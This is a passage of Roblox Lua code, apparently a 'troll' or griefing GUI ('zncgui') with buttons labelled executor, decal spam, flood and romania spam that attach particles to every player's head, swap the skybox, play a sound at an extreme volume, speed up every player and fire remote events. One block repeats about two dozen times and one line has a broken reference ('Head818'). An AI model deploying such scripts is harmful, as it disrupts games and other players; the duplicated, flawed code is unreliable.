end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head818
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game:GetService("Lighting")
s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927"
game:GetService("Lighting").TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB:
end;
task.spawn(C_1c);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_1e()
local script = G2L["1e"];
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://6129291390"
tubers93.Playing = true
tubers93.Looped = false
tubers93.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_1e);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame.Visible = false
script.Parent.Parent.Parent.Frame2.Visible = true
script.Parent.Parent.Parent.Frame2.Position = script.Parent.Parent.Parent.Frame.Position
end)
end;
task.spawn(C_20);
-- StarterGui.ssst.Frame2.LocalScript
local function C_23()
local script = G2L["23"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_23);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_25()
local script = G2L["25"];
script.Parent.MouseButton1Down:Connect(function()
for i,p in pairs(game:GetService("Players"):GetChildren()) do
if p.ClassName == "Player" then
p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25
end
end
end)
end;
task.spawn(C_25);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_27()
local script = G2L["27"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame.Visible = true
script.Parent.Parent.Parent.Frame2.Visible = false
script.Parent.Parent.Parent.Frame.Position = script.Parent.Parent.Parent.Frame2.Position
end)
end;
task.spawn(C_27);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_2a()
local script = G2L["2a"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_2a);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_2d()
local script = G2L["2d"];
script.Parent.MouseButton1Click:Connect(function()
local Lighting = game:GetService("Lighting")
local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting)
function zigzag(X)
return math.acos(math.cos(X*math.pi))/math.pi
end
Counter = 0
Lighting.TimeOfDay = "15:00"
while wait(0.01) do
ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1)
Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1)
Counter += 0.01
end
end)
end;
task.spawn(C_2d);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_3e()
local script = G2L["3e"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_3e);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
local function C_46()
local script = G2L["46"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_46);
return G2L["1"], require;
end,
})
local Button = MainTab:CreateButton({
Name = "zncgui",
Callback = function()
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 61 | Scripts: 26 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95);
G2L["2"]["BorderMode"] = Enum.BorderMode.Inset;
G2L["2"]["Size"] = UDim2.new(0, 457, 0, 465);
G2L["2"]["Position"] = UDim2.new(0.31963, 0, 0.18791, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ScreenGui.Frame.ImageLabel
G2L["3"] = Instance.new("ImageLabel", G2L["2"]);
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["3"]["Image"] = [[rbxassetid://124868710717730]];
G2L["3"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["BackgroundTransparency"] = 1;
G2L["3"]["Position"] = UDim2.new(0.05445, 0, -0.26592, 0);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["4"] = Instance.new("TextLabel", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["RichText"] = true;
G2L["4"]["Size"] = UDim2.new(0, 241, 0, 25);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[zncgui]];
G2L["4"]["Position"] = UDim2.new(0.25028, 0, -0.00292, 0);
-- StarterGui.ScreenGui.Frame.TextLabel.UICorner
G2L["5"] = Instance.new("UICorner", G2L["4"]);
G2L["5"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["6"] = Instance.new("TextButton", G2L["2"]);
G2L["6"]["BorderSizePixel"] = 0;
G2L["6"]["TextSize"] = 14;
G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6"]["BackgroundTransparency"] = 0.2;
G2L["6"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6"]["Text"] = [[Troll gui 🤣🤣🤣]];
G2L["6"]["Position"] = UDim2.new(0.69214, 0, 0.40428, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["7"] = Instance.new("LocalScript", G2L["6"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["8"] = Instance.new("TextButton", G2L["2"]);
G2L["8"]["BorderSizePixel"] = 0;
G2L["8"]["TextSize"] = 14;
G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8"]["BackgroundTransparency"] = 0.2;
G2L["8"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8"]["Text"] = [[znc_13 executor]];
G2L["8"]["Position"] = UDim2.new(0.08064, 0, 0.40433, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["9"] = Instance.new("LocalScript", G2L["8"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["a"] = Instance.new("TextButton", G2L["2"]);
G2L["a"]["BorderSizePixel"] = 0;
G2L["a"]["TextSize"] = 14;
G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a"]["BackgroundTransparency"] = 0.2;
G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a"]["Text"] = [[hint]];
G2L["a"]["Position"] = UDim2.new(0.37673, 0, 0.40448, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["b"] = Instance.new("LocalScript", G2L["a"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["c"] = Instance.new("TextButton", G2L["2"]);
G2L["c"]["BorderSizePixel"] = 0;
G2L["c"]["TextSize"] = 14;
G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c"]["BackgroundTransparency"] = 0.2;
G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c"]["Text"] = [[skybox]];
G2L["c"]["Position"] = UDim2.new(0.07942, 0, 0.30198, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["d"] = Instance.new("LocalScript", G2L["c"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["e"] = Instance.new("TextButton", G2L["2"]);
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["BackgroundTransparency"] = 0.2;
G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[znc_ 13 decal spam]];
G2L["e"]["Position"] = UDim2.new(0.3732, 0, 0.30316, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["f"] = Instance.new("LocalScript", G2L["e"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["10"] = Instance.new("TextButton", G2L["2"]);
G2L["10"]["BorderSizePixel"] = 0;
G2L["10"]["TextSize"] = 14;
G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10"]["BackgroundTransparency"] = 0.2;
G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10"]["Text"] = [[particle]];
G2L["10"]["Position"] = UDim2.new(0.69312, 0, 0.30388, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["11"] = Instance.new("LocalScript", G2L["10"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["12"] = Instance.new("TextButton", G2L["2"]);
G2L["12"]["BorderSizePixel"] = 0;
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["BackgroundTransparency"] = 0.2;
G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["Text"] = [[skeleton sky]];
G2L["12"]["Position"] = UDim2.new(0.07597, 0, 0.19633, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["14"] = Instance.new("TextButton", G2L["2"]);
G2L["14"]["BorderSizePixel"] = 0;
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["BackgroundTransparency"] = 0.2;
G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["Text"] = [[flood]];
G2L["14"]["Position"] = UDim2.new(0.37805, 0, 0.19297, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["16"] = Instance.new("TextButton", G2L["2"]);
G2L["16"]["BorderSizePixel"] = 0;
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["BackgroundTransparency"] = 0.2;
G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["Text"] = [[666]];
G2L["16"]["Position"] = UDim2.new(0.69183, 0, 0.19236, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["18"] = Instance.new("TextButton", G2L["2"]);
G2L["18"]["BorderSizePixel"] = 0;
G2L["18"]["TextSize"] = 14;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["BackgroundTransparency"] = 0.2;
G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["Text"] = [[theme music]];
G2L["18"]["Position"] = UDim2.new(0.07155, 0, 0.08425, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1a"] = Instance.new("TextButton", G2L["2"]);
G2L["1a"]["BorderSizePixel"] = 0;
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["BackgroundTransparency"] = 0.2;
G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Text"] = [[romania spam]];
G2L["1a"]["Position"] = UDim2.new(0.3736, 0, 0.08924, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1c"] = Instance.new("TextButton", G2L["2"]);
G2L["1c"]["BorderSizePixel"] = 0;
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["BackgroundTransparency"] = 0.2;
G2L["1c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["Text"] = [[T7B3RS93 sound]];
G2L["1c"]["Position"] = UDim2.new(0.69181, 0, 0.08827, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1d"] = Instance.new("LocalScript", G2L["1c"]);
-- StarterGui.ScreenGui.Frame.close
G2L["1e"] = Instance.new("TextButton", G2L["2"]);
G2L["1e"]["TextWrapped"] = true;
G2L["1e"]["BorderSizePixel"] = 0;
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["TextScaled"] = true;
G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["BackgroundTransparency"] = 0.2;
G2L["1e"]["Size"] = UDim2.new(0, 384, 0, 25);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["Text"] = [[close]];
G2L["1e"]["Name"] = [[close]];
G2L["1e"]["Position"] = UDim2.new(0.08555, 0, 0.91786, 0);
-- StarterGui.ScreenGui.Frame.close.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);
-- StarterGui.ScreenGui.Frame.ImageLabel
G2L["20"] = Instance.new("ImageLabel", G2L["2"]);
G2L["20"]["BorderSizePixel"] = 0;
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["20"]["Image"] = [[rbxassetid://121071746877032]];
G2L["20"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["BackgroundTransparency"] = 1;
G2L["20"]["Position"] = UDim2.new(0.50846, 0, -0.26555, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["21"] = Instance.new("TextButton", G2L["2"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["TextSize"] = 14;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["BackgroundTransparency"] = 0.2;
G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["Text"] = [[teams]];
G2L["21"]["Position"] = UDim2.new(0.08073, 0, 0.50389, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["23"] = Instance.new("TextButton", G2L["2"]);
G2L["23"]["BorderSizePixel"] = 0;
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["BackgroundTransparency"] = 0.2;
G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[ball rain]];
G2L["23"]["Position"] = UDim2.new(0.3782, 0, 0.50305, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["25"] = Instance.new("TextButton", G2L["2"]);
G2L["25"]["BorderSizePixel"] = 0;
G2L["25"]["TextSize"] = 14;
G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25"]["BackgroundTransparency"] = 0.2;
G2L["25"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["Text"] = [[message]];
G2L["25"]["Position"] = UDim2.new(0.69301, 0, 0.50229, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["26"] = Instance.new("LocalScript", G2L["25"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["27"] = Instance.new("TextButton", G2L["2"]);
G2L["27"]["BorderSizePixel"] = 0;
G2L["27"]["TextSize"] = 14;
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["BackgroundTransparency"] = 0.2;
G2L["27"]["Size"] = UDim2.new(0, 115, 0, 33);
